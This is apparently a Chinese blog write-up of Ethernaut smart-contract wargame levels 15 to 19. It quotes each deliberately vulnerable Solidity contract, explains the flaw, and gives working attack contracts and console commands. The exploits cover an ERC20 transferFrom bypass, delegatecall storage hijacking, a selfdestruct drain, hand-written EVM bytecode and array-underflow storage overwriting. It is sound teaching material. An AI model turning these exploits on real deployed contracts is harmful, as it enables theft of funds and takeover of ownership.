Ethernaut靶场<NaughtCoin15-AlienCodex19>(2022-12)

98 阅读9分钟

Ethernaut靶场

15题 NaughtCoin

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v3.2.0/contracts/token/ERC20/ERC20.sol";

 contract NaughtCoin is ERC20 {

  // string public constant name = 'NaughtCoin';
  // string public constant symbol = '0x0';
  // uint public constant decimals = 18;
  uint public timeLock = now + 10 * 365 days;
  uint256 public INITIAL_SUPPLY;
  address public player;

  constructor(address _player) ERC20('NaughtCoin', '0x0') public {
    player = _player;
    INITIAL_SUPPLY = 1000000 * (10**uint256(decimals()));
    // _totalSupply = INITIAL_SUPPLY;
    // _balances[player] = INITIAL_SUPPLY;
    _mint(player, INITIAL_SUPPLY);
    emit Transfer(address(0), player, INITIAL_SUPPLY);
  }
  
  function transfer(address _to, uint256 _value) override public lockTokens returns(bool) {
    super.transfer(_to, _value);
  }

  // Prevent the initial owner from transferring tokens until the timelock has passed
  modifier lockTokens() {
    if (msg.sender == player) {
      require(now > timeLock);
      _;
    } else {
     _;
    }
  } 
}

漏洞分析:

刚开始看题,只知道是一个ERC20的代币合约。

入手点:

这个合约是一个ERC20合约,但是它只对transfer这一个函数进行了修饰。所以我们可以用另一个函数transferFrom来进行转账操作。

这是ERC20的两个转账函数。

image.png

既然要使用transferFrom,那么接下来就应该给调用者授权我们的余额使用权。

合约攻击:

在控制台输入:

await contract.approve(contract.address,await contract.balanceof(player))

image.png

然后再输入:

await contract.transferFrom(player,contract.address,await contract.balanceOf(player)) image.png 即可完成攻击,提交实例。

16题 Preservation

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Preservation {

  // public library contracts 
  address public timeZone1Library;
  address public timeZone2Library;
  address public owner; 
  uint storedTime;
  // Sets the function signature for delegatecall
  bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));

  constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {
    timeZone1Library = _timeZone1LibraryAddress; 
    timeZone2Library = _timeZone2LibraryAddress; 
    owner = msg.sender;
  }
 
  // set the time for timezone 1
  function setFirstTime(uint _timeStamp) public {
    timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
  }

  // set the time for timezone 2
  function setSecondTime(uint _timeStamp) public {
    timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
  }
}

// Simple library contract to set the time
contract LibraryContract {

  // stores a timestamp 
  uint storedTime;  

  function setTime(uint _time) public {
    storedTime = _time;
  }
}

漏洞分析:

这道题的题目要求是让我们拿到合约的所有权。但合约中并没有与owner有关的能够被我们调用的语句。

但我们很明显能够发现,合约中只有两个函数,都使用了delegatecall从另两个合约地址中去调用setTime函数,我们在delegation题目中讲解了delegatecall的一些问题,今天我们就需要认识到他的另一个问题。

delegatecall在调用时如果需要修改storage变量,他并不会通过变量名称去当前合约中查找相应的变量进行值的替换,而是会通过变量在被调用合约中的插槽进行改变。

而storedTime在Library合约中存在了slot(0),但是在Preservation合约中slot 0存放的数据是timeZone1Library,也就是第一个library合约的地址,如果我们将这个地址修改为我们的攻击合约,那么之后在调用setFirstTime的时候,就会调用我们自己的setTime函数,我们以此来编写攻击合约。

call & delegatecall

这里再简单说一下calldelegatecall

  • call:调用后内置变量 msg 的值会修改为调用者,执行环境为被调用者的运行环境;
  • delegatecall:调用后内置变量 msg 的值不会修改为调用者,但执行环境为调用者的运行环境;

攻击合约:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Attack{

    address public ad1;
    address public ad2;
    address public owner;

    function setTime(uint _time) public {
        owner = address(_time);
    }
}
  • 首先,部署我的攻击合约。
  • 部署题目合约,拿到我的攻击合约地址后,setFirstTime()里面放我的攻击合约地址。
  • 再次调用setFirstTime(),之后调用owner,就会发现owner已经变成了我自己。至此攻击成功。

image.png

17题 Recovery

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol";

contract Recovery {

  //generate tokens
  function generateToken(string memory _name, uint256 _initialSupply) public {
    new SimpleToken(_name, msg.sender, _initialSupply);
  
  }
}

contract SimpleToken {

  using SafeMath for uint256;
  // public variables
  string public name;
  mapping (address => uint) public balances;

  // constructor
  constructor(string memory _name, address _creator, uint256 _initialSupply) public {
    name = _name;
    balances[_creator] = _initialSupply;
  }

  // collect ether in return for tokens
  receive() external payable {
    balances[msg.sender] = msg.value.mul(10);
  }

  // allow transfers of tokens
  function transfer(address _to, uint _amount) public { 
    require(balances[msg.sender] >= _amount);
    balances[msg.sender] = balances[msg.sender].sub(_amount);
    balances[_to] = _amount;
  }

  // clean up after ourselves
  function destroy(address payable _to) public {
    selfdestruct(_to);
  }
}

漏洞分析:

第一遍看的时候,感觉好像找不出什么问题。题目要求:

从丢失的合约地址中恢复(或移除)以太币,则此级别将完成。

题目中给到了一个合约地址,是Recovery的地址,题目中说创建者通过Recovery创建了一个SimpleToken,然后把地址给忘了,要我们找到这个地址并且把里面的钱弄出来。很容易,通过区块链浏览器就可以找到他创建的SimpleToken

攻击合约: 得到地址后,只需要执行合约的自毁函数即可:

pragma solidity ^0.6.0;
contract attack{
    address payable target;
    address payable owner;
    constructor(address payable _target, address payable _own) public{
        target = _target;
        owner = _own;
    }

    function dosome() public {
        target.call(abi.encodeWithSignature("destroy(address)",owner));
    }
}

以上这种写法需要设置gasLimit。

也可以:

通过encodeFunctionSignature获取函数指示,并构造参数。最后通过sendTransaction发送出来。 我们输入:

await web3.eth.sendTransaction({from:player,to:target,data:await web3.eth.abi.encodeWithSignature(“destroy(address)”) + "000000000000000000000000 +“目标合约地址”})

即可完成攻击,提交实例,关卡完成。

18题 MagicNumber

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract MagicNum {

  address public solver;

  constructor() public {}

  function setSolver(address _solver) public {
    solver = _solver;
  }

  /*
    ____________/\_______/\\\\_____        
     __________/\\_____/\///////\___       
      ________/\/\____///______//\__      
       ______/\//\______________/\/___     
        ____/\/__/\___________/\//_____    
         __/\\\\\\\\_____/\//________   
          _///////////\//____/\/___________  
           ___________/\_____/\\\\\\\_ 
            ___________///_____///////////////__
  */
}

题目要求:

要解决这个关卡,你只需要向 Ethernaut 提供一个,一个用正确的数字Solver响应的合约。whatIsTheMeaningOfLife()。 求解器的代码需要非常小。真的很小。就像 freakin' really really itty-bitty tiny:最多 10 个操作码。

提示:也许是时候暂时离开 Solidity 编译器的舒适环境,并手动构建这个 O_o。没错:原始 EVM 字节码。

说成人话:

需要让solver是一个合约,这个合约的whatIsTheMeaningOfLife()函数会返回一个正确的数字,而且这个函数的opcode不能超过10个,正常写的话是会超过的,所以要自己手写opcode。

看题目可以知道,这道题考察的是solidity的字节码。

讲解参考文章

以太坊字节码 操作码

下面开始分析:

以太坊的合约编译部署过程: image.png

  1. 首先,用户或合约向以太坊发送交易。 此交易包含数据,但没有收件人地址。此格式向EVM表明这是一个contract creation,而非常规的发送/调用事务。

  2. 其次,EVM将solidity中的合约代码编译成字节码。 此字节码直接转换为操作码,在单个调用堆栈中执行。

注意:contract creation字节码包含:

initialization code

②合约实际的runtime code,按顺序链接。

  1. 在合约创建期间,EVM仅执行initialization code知道到达堆栈中的第一个STOP或RETURN指令。 在此阶段,运行合约的constructor()函数,并且合约只有一个地址。

  2. 运行此初始代码后,runtime code堆栈中 只剩下剩余部分。 然后将这些操作码复制到内存中,并返回到EVM。

  3. 最后,EVM将返回的剩余代码与新合约地址互相关联地存储在状态存储中。 这是runtiome code将在未来所有对新合约的调用中由堆栈执行的。

要解决这一关,需要两组操作码:

  • Initialization opcodes:由EVM立即运行,以创建合约并存储未来运行时的操作码。

  • Runtime opcodes:包含你想要的实际执行逻辑。这是代码的主要部分,应该返回0X42并且在十个操作码以下。

返回值RETURN操作码处理,它有两个参数:

  • p:你的值在内存中存放的位置,即0x0、0x40、0x50(见图)。让我们任意选择 0x80 插槽。
  • s:存储数据的大小。回想一下,您的值是 32 个字节长(或十六进制的 0x20)。

看了登链社区的这篇文章才明白了整个流程:solidity字节码和操作码基础知识

解释一下一下这串所表示的意义:

PUSH1 0x60 PUSH1 0x40 MSTORE

  1. PUSH1 (0x60):将 0x60 放入堆栈。
  2. PUSH1 (0x40):将 0x40 放入堆栈。
  3. MSTORE (0x52):分配0x60的内存空间并移动到0x40的位置。

生成的字节码是:

6060604052

事实上,我们总是在任何 Solidity 字节码的开头看到这个神奇的数字“6060604052”,因为它是智能合约引导的方式。

更复杂的是,0x40 或 0x60 不能解释为实数 40 或 60。由于它们是十六进制的,因此 40 实际上等于 64 (16 x 4),而 60 等于十进制的 96 (16 x 6)。PS:简单的十六进制转换为十进制,我一般习惯十六进制先转二进制,再转成十进制。

简而言之,“PUSH1 0x60 PUSH1 0x40 MSTORE”所做的就是分配 96 字节的内存并将指针移动到第 64 字节的开头。 我们现在有 64 字节用于暂存空间和 32 字节用于临时内存存储。

在 EVM 中,有 3 个地方存储数据。

首先,在堆栈中。 根据上面的示例,我们刚刚使用“PUSH”操作码在那里存储数据。

其次,在我们使用“MSTORE”操作码的内存(RAM) 中。

最后,在我们使用“SSTORE”存储数据的磁盘存储中。 将数据存储到存储所需的气体Gas是最昂贵的,而将数据存储到堆栈是最便宜的。

学习了一下,终于理解了opcodes在EVM中是怎么运转的。

说回合约攻击:

await web3.eth.sendTransaction({from:player,data:"0x600a600c600039600a6000f3602a60805260206080f3"}, function(err,res){console.log(res)}) await contract.setSolver("0x067Cb3Ec131555289AC6C12cF702f121d080e1E1");

19题 Alien Codex

//SPDX-License-Identifier: UNLICENSED

pragma solidity ^0.6.0;

interface AlienCodex {

  function make_contact() external ;

  function record(bytes32 _content) external ;

  function retract()  external ;

  function revise(uint i, bytes32 _content) external ;
}

contract Feng {
    AlienCodex constant private target = AlienCodex(0x53c5A404b93e96DA6b913c222b728E8825f987E5);
    bytes32 public payload = 0x0000000000000000000000017D11f36fA2FD9B7A4069650Cd8A2873999263FB8;
    function attack() public {
        target.make_contact();
        target.retract();
        uint i = 2**256 - 1 - uint(keccak256(abi.encodePacked(uint(1)))) +1;
        target.revise(i, payload);
    }
}

题目要求:声明所有权以完成关卡。

漏洞分析:

slot0放的是owner和contact,算出可以覆盖的i值,然后覆盖掉就可以了。

攻击合约:

//SPDX-License-Identifier: UNLICENSED

pragma solidity ^0.6.0;

interface AlienCodex {

  function make_contact() external ;

  function record(bytes32 _content) external ;

  function retract()  external ;

  function revise(uint i, bytes32 _content) external ;
}

contract Feng {
    AlienCodex constant private target = AlienCodex(0x53c5A404b93e96DA6b913c222b728E8825f987E5);
    bytes32 public payload = 0x0000000000000000000000017D11f36fA2FD9B7A4069650Cd8A2873999263FB8;
    function attack() public {
        target.make_contact();
        target.retract();
        uint i = 2**256 - 1 - uint(keccak256(abi.encodePacked(uint(1)))) +1;
        target.revise(i, payload);
    }
}